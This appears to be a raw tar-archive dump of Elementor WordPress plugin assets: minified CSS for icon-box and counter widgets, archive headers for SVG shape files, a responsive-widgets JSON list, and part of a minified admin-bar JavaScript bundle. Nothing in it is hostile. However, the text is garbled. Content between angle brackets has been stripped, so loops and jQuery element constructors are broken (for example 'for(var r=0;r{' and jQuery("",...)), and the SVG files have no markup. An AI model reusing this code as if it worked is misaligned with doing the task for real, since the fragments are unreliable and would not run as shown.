.elementor-icon-box-icon{margin-right:var(--icon-box-icon-margin,15px);margin-left:0;margin-bottom:unset}.elementor-widget-icon-box.elementor-tablet-position-top .elementor-icon-box-wrapper{display:block;text-align:center;flex-direction:unset}.elementor-widget-icon-box.elementor-tablet-position-top .elementor-icon-box-icon{margin-bottom:var(--icon-box-icon-margin,15px);margin-right:auto;margin-left:auto}}@media (max-width:-1){.elementor-widget-icon-box.elementor-mobile_extra-position-left .elementor-icon-box-wrapper,.elementor-widget-icon-box.elementor-mobile_extra-position-right .elementor-icon-box-wrapper{display:flex}.elementor-widget-icon-box.elementor-mobile_extra-position-left .elementor-icon-box-icon,.elementor-widget-icon-box.elementor-mobile_extra-position-right .elementor-icon-box-icon{display:inline-flex;flex:0 0 auto}.elementor-widget-icon-box.elementor-mobile_extra-position-right .elementor-icon-box-wrapper{text-align:end;flex-direction:row-reverse}.elementor-widget-icon-box.elementor-mobile_extra-position-right .elementor-icon-box-icon{margin-left:var(--icon-box-icon-margin,15px);margin-right:0;margin-bottom:unset}.elementor-widget-icon-box.elementor-mobile_extra-position-left .elementor-icon-box-wrapper{text-align:start;flex-direction:row}.elementor-widget-icon-box.elementor-mobile_extra-position-left .elementor-icon-box-icon{margin-right:var(--icon-box-icon-margin,15px);margin-left:0;margin-bottom:unset}.elementor-widget-icon-box.elementor-mobile_extra-position-top .elementor-icon-box-wrapper{display:block;text-align:center;flex-direction:unset}.elementor-widget-icon-box.elementor-mobile_extra-position-top .elementor-icon-box-icon{margin-bottom:var(--icon-box-icon-margin,15px);margin-right:auto;margin-left:auto}}@media (max-width:767px){.elementor-widget-icon-box.elementor-mobile-position-left .elementor-icon-box-wrapper,.elementor-widget-icon-box.elementor-mobile-position-right .elementor-icon-box-wrapper{display:flex}.elementor-widget-icon-box.elementor-mobile-position-left .elementor-icon-box-icon,.elementor-widget-icon-box.elementor-mobile-position-right .elementor-icon-box-icon{display:inline-flex;flex:0 0 auto}.elementor-widget-icon-box.elementor-mobile-position-right .elementor-icon-box-wrapper{text-align:end;flex-direction:row-reverse}.elementor-widget-icon-box.elementor-mobile-position-right .elementor-icon-box-icon{margin-left:var(--icon-box-icon-margin,15px);margin-right:0;margin-bottom:unset}.elementor-widget-icon-box.elementor-mobile-position-left .elementor-icon-box-wrapper{text-align:start;flex-direction:row}.elementor-widget-icon-box.elementor-mobile-position-left .elementor-icon-box-icon{margin-right:var(--icon-box-icon-margin,15px);margin-left:0;margin-bottom:unset}.elementor-widget-icon-box.elementor-mobile-position-top .elementor-icon-box-wrapper{display:block;text-align:center;flex-direction:unset}.elementor-widget-icon-box.elementor-mobile-position-top .elementor-icon-box-icon{margin-bottom:var(--icon-box-icon-margin,15px);margin-right:auto;margin-left:auto}.elementor-widget-icon-box.elementor-position-left .elementor-icon-box-icon,.elementor-widget-icon-box.elementor-position-right .elementor-icon-box-icon{display:block;flex:unset}}.elementor-widget-icon-box .elementor-icon-box-title a{color:inherit}.elementor-widget-icon-box .elementor-icon-box-content{flex-grow:1}.elementor-widget-icon-box .elementor-icon-box-description{margin:0}assets/css/widget-counter.min.css000064400000001431147206604650013103 0ustar00/*! elementor - v3.24.0 - 12-09-2024 */ .elementor-counter{display:flex;justify-content:center;align-items:stretch;flex-direction:column-reverse}.elementor-counter .elementor-counter-number{flex-grow:var(--counter-number-grow,0)}.elementor-counter .elementor-counter-number-wrapper{flex:1;display:flex;font-size:69px;font-weight:600;line-height:1;text-align:center}.elementor-counter .elementor-counter-number-prefix{text-align:end;flex-grow:var(--counter-prefix-grow,1);white-space:pre-wrap}.elementor-counter .elementor-counter-number-suffix{text-align:start;flex-grow:var(--counter-suffix-grow,1);white-space:pre-wrap}.elementor-counter .elementor-counter-title{flex:1;display:flex;justify-content:center;align-items:center;margin:0;padding:0;font-size:19px;font-weight:400;line-height:2.5}assets/mask-shapes/sketch.svg000064400000002024147206604650012274 0ustar00 assets/mask-shapes/circle.svg000064400000000200147206604650012246 0ustar00 assets/mask-shapes/hexagon.svg000064400000000363147206604650012450 0ustar00 assets/mask-shapes/flower.svg000064400000000547147206604650012321 0ustar00 assets/mask-shapes/triangle.svg000064400000000264147206604650012624 0ustar00 assets/mask-shapes/blob.svg000064400000000665147206604650011742 0ustar00 assets/shapes/curve.svg000064400000000320147206604650011203 0ustar00 assets/shapes/triangle-asymmetrical.svg000064400000000252147206604650014360 0ustar00 assets/shapes/clouds-negative.svg000064400000002344147206604650013160 0ustar00 assets/shapes/waves-pattern.svg000064400000016201147206604650012664 0ustar00 assets/shapes/drops.svg000064400000004447147206604650011224 0ustar00 assets/shapes/zigzag.svg000064400000005413147206604650011362 0ustar00 assets/shapes/book-negative.svg000064400000000473147206604650012622 0ustar00 assets/shapes/split.svg000064400000000362147206604650011220 0ustar00 assets/shapes/wave-brush.svg000064400000006061147206604650012152 0ustar00 assets/shapes/curve-asymmetrical-negative.svg000064400000000327147206604650015502 0ustar00 assets/shapes/mountains.svg000064400000001414147206604650012101 0ustar00 assets/shapes/tilt.svg000064400000000240147206604650011034 0ustar00 assets/shapes/drops-negative.svg000064400000004334147206604650013017 0ustar00 assets/shapes/arrow-negative.svg000064400000000264147206604650013020 0ustar00 assets/shapes/triangle.svg000064400000000260147206604650011667 0ustar00 assets/shapes/waves-negative.svg000064400000000646147206604650013017 0ustar00 assets/shapes/opacity-tilt.svg000064400000000542147206604650012507 0ustar00 assets/shapes/arrow.svg000064400000000242147206604650011214 0ustar00 assets/shapes/waves.svg000064400000000643147206604650011214 0ustar00 assets/shapes/triangle-asymmetrical-negative.svg000064400000000262147206604650016161 0ustar00 assets/shapes/book.svg000064400000000440147206604650011014 0ustar00 assets/shapes/triangle-negative.svg000064400000000262147206604650013471 0ustar00 assets/shapes/pyramids.svg000064400000000276147206604650011721 0ustar00 assets/shapes/clouds.svg000064400000002251147206604650011355 0ustar00 assets/shapes/split-negative.svg000064400000000331147206604650013014 0ustar00 assets/shapes/curve-asymmetrical.svg000064400000000352147206604650013700 0ustar00 assets/shapes/opacity-fan.svg000064400000000750147206604650012300 0ustar00 assets/shapes/curve-negative.svg000064400000000325147206604650013010 0ustar00 assets/shapes/pyramids-negative.svg000064400000000275147206604650013520 0ustar00 assets/data/responsive-widgets.json000064400000000267147206604650013532 0ustar00{"accordion":true,"alert":true,"icon-box":true,"icon-list":true,"image-box":true,"image-gallery":true,"progress":true,"star-rating":true,"tabs":true,"toggle":true,"nested-tabs":true} assets/js/elementor-admin-bar.min.js000064400000016554147206604650013451 0ustar00/*! elementor - v3.24.0 - 12-09-2024 */ (()=>{var e={77266:e=>{e.exports=function _assertThisInitialized(e){if(void 0===e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return e},e.exports.__esModule=!0,e.exports.default=e.exports},78983:e=>{e.exports=function _classCallCheck(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")},e.exports.__esModule=!0,e.exports.default=e.exports},42081:(e,t,r)=>{var n=r(74040);function _defineProperties(e,t){for(var r=0;r{var n=r(79443);function _get(){return"undefined"!=typeof Reflect&&Reflect.get?(e.exports=_get=Reflect.get.bind(),e.exports.__esModule=!0,e.exports.default=e.exports):(e.exports=_get=function _get(e,t,r){var o=n(e,t);if(o){var s=Object.getOwnPropertyDescriptor(o,t);return s.get?s.get.call(arguments.length<3?e:r):s.value}},e.exports.__esModule=!0,e.exports.default=e.exports),_get.apply(this,arguments)}e.exports=_get,e.exports.__esModule=!0,e.exports.default=e.exports},74910:e=>{function _getPrototypeOf(t){return e.exports=_getPrototypeOf=Object.setPrototypeOf?Object.getPrototypeOf.bind():function _getPrototypeOf(e){return e.__proto__||Object.getPrototypeOf(e)},e.exports.__esModule=!0,e.exports.default=e.exports,_getPrototypeOf(t)}e.exports=_getPrototypeOf,e.exports.__esModule=!0,e.exports.default=e.exports},58724:(e,t,r)=>{var n=r(96196);e.exports=function _inherits(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function");e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,writable:!0,configurable:!0}}),Object.defineProperty(e,"prototype",{writable:!1}),t&&n(e,t)},e.exports.__esModule=!0,e.exports.default=e.exports},73203:e=>{e.exports=function _interopRequireDefault(e){return e&&e.__esModule?e:{default:e}},e.exports.__esModule=!0,e.exports.default=e.exports},71173:(e,t,r)=>{var n=r(7501).default,o=r(77266);e.exports=function _possibleConstructorReturn(e,t){if(t&&("object"===n(t)||"function"==typeof t))return t;if(void 0!==t)throw new TypeError("Derived constructors may only return object or undefined");return o(e)},e.exports.__esModule=!0,e.exports.default=e.exports},96196:e=>{function _setPrototypeOf(t,r){return e.exports=_setPrototypeOf=Object.setPrototypeOf?Object.setPrototypeOf.bind():function _setPrototypeOf(e,t){return e.__proto__=t,e},e.exports.__esModule=!0,e.exports.default=e.exports,_setPrototypeOf(t,r)}e.exports=_setPrototypeOf,e.exports.__esModule=!0,e.exports.default=e.exports},79443:(e,t,r)=>{var n=r(74910);e.exports=function _superPropBase(e,t){for(;!Object.prototype.hasOwnProperty.call(e,t)&&null!==(e=n(e)););return e},e.exports.__esModule=!0,e.exports.default=e.exports},56027:(e,t,r)=>{var n=r(7501).default;e.exports=function toPrimitive(e,t){if("object"!=n(e)||!e)return e;var r=e[Symbol.toPrimitive];if(void 0!==r){var o=r.call(e,t||"default");if("object"!=n(o))return o;throw new TypeError("@@toPrimitive must return a primitive value.")}return("string"===t?String:Number)(e)},e.exports.__esModule=!0,e.exports.default=e.exports},74040:(e,t,r)=>{var n=r(7501).default,o=r(56027);e.exports=function toPropertyKey(e){var t=o(e,"string");return"symbol"==n(t)?t:String(t)},e.exports.__esModule=!0,e.exports.default=e.exports},7501:e=>{function _typeof(t){return e.exports=_typeof="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e},e.exports.__esModule=!0,e.exports.default=e.exports,_typeof(t)}e.exports=_typeof,e.exports.__esModule=!0,e.exports.default=e.exports}},t={};function __webpack_require__(r){var n=t[r];if(void 0!==n)return n.exports;var o=t[r]={exports:{}};return e[r](o,o.exports,__webpack_require__),o.exports}(()=>{"use strict";var e=__webpack_require__(73203),t=e(__webpack_require__(78983)),r=e(__webpack_require__(42081)),n=e(__webpack_require__(51121)),o=e(__webpack_require__(58724)),s=e(__webpack_require__(71173)),u=e(__webpack_require__(74910));function _createSuper(e){var t=function _isNativeReflectConstruct(){if("undefined"==typeof Reflect||!Reflect.construct)return!1;if(Reflect.construct.sham)return!1;if("function"==typeof Proxy)return!0;try{return Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],(function(){}))),!0}catch(e){return!1}}();return function _createSuperInternal(){var r,n=(0,u.default)(e);if(t){var o=(0,u.default)(this).constructor;r=Reflect.construct(n,arguments,o)}else r=n.apply(this,arguments);return(0,s.default)(this,r)}}var a=function(e){(0,o.default)(AdminBar,e);var s=_createSuper(AdminBar);function AdminBar(){return(0,t.default)(this,AdminBar),s.apply(this,arguments)}return(0,r.default)(AdminBar,[{key:"getDefaultSettings",value:function getDefaultSettings(){return{prefixes:{adminBarId:"wp-admin-bar-"},classes:{adminBarItem:"ab-item",adminBarItemTitle:"elementor-edit-link-title",adminBarItemSubTitle:"elementor-edit-link-type",adminBarNonLinkItem:"ab-empty-item",adminBarSubItemsWrapper:"ab-sub-wrapper",adminBarSubItems:"ab-submenu"},selectors:{adminBar:"#wp-admin-bar-root-default",editMenuItem:"#wp-admin-bar-edit",newMenuItem:"#wp-admin-bar-new-content"}}}},{key:"getDefaultElements",value:function getDefaultElements(){var e=this.getSettings("selectors"),t=e.adminBar,r=e.editMenuItem,n=e.newMenuItem;return{$adminBar:jQuery(t),$editMenuItem:jQuery(r),$newMenuItem:jQuery(n)}}},{key:"onInit",value:function onInit(){(0,n.default)((0,u.default)(AdminBar.prototype),"onInit",this).call(this),this.createMenu(elementorAdminBarConfig)}},{key:"createMenu",value:function createMenu(e){var t=this.createMenuItems(Object.values(e));this.elements.$editMenuItem.length?this.elements.$editMenuItem.after(t):this.elements.$newMenuItem.length?this.elements.$newMenuItem.after(t):this.elements.$adminBar.append(t)}},{key:"createMenuItems",value:function createMenuItems(e){var t=this;return e.map((function(e){return t.createMenuItem(e)}))}},{key:"createMenuItem",value:function createMenuItem(e){var t=e.children?Object.values(e.children):[],r="".concat(this.getSettings("prefixes.adminBarId")).concat(e.id),n=jQuery("",{class:this.getSettings("classes.adminBarItemTitle"),html:e.title}),o=e.sub_title?jQuery("",{class:this.getSettings("classes.adminBarItemSubTitle"),html:e.sub_title}):null,s=jQuery(e.href?"":"
",{"aria-haspopup":!!t.length||null,class:[this.getSettings("classes.adminBarItem"),e.href?"":this.getSettings("classes.adminBarNonLinkItem"),e.class].join(" "),href:e.href}).append([n,o]);return jQuery("
  • ",{id:r,class:t.length?"menupop":""+(e.parent_class||"elementor-general-section")}).append([s,t.length?this.createSubMenuItems(r,t):null])}},{key:"createSubMenuItems",value:function createSubMenuItems(e,t){var r=jQuery("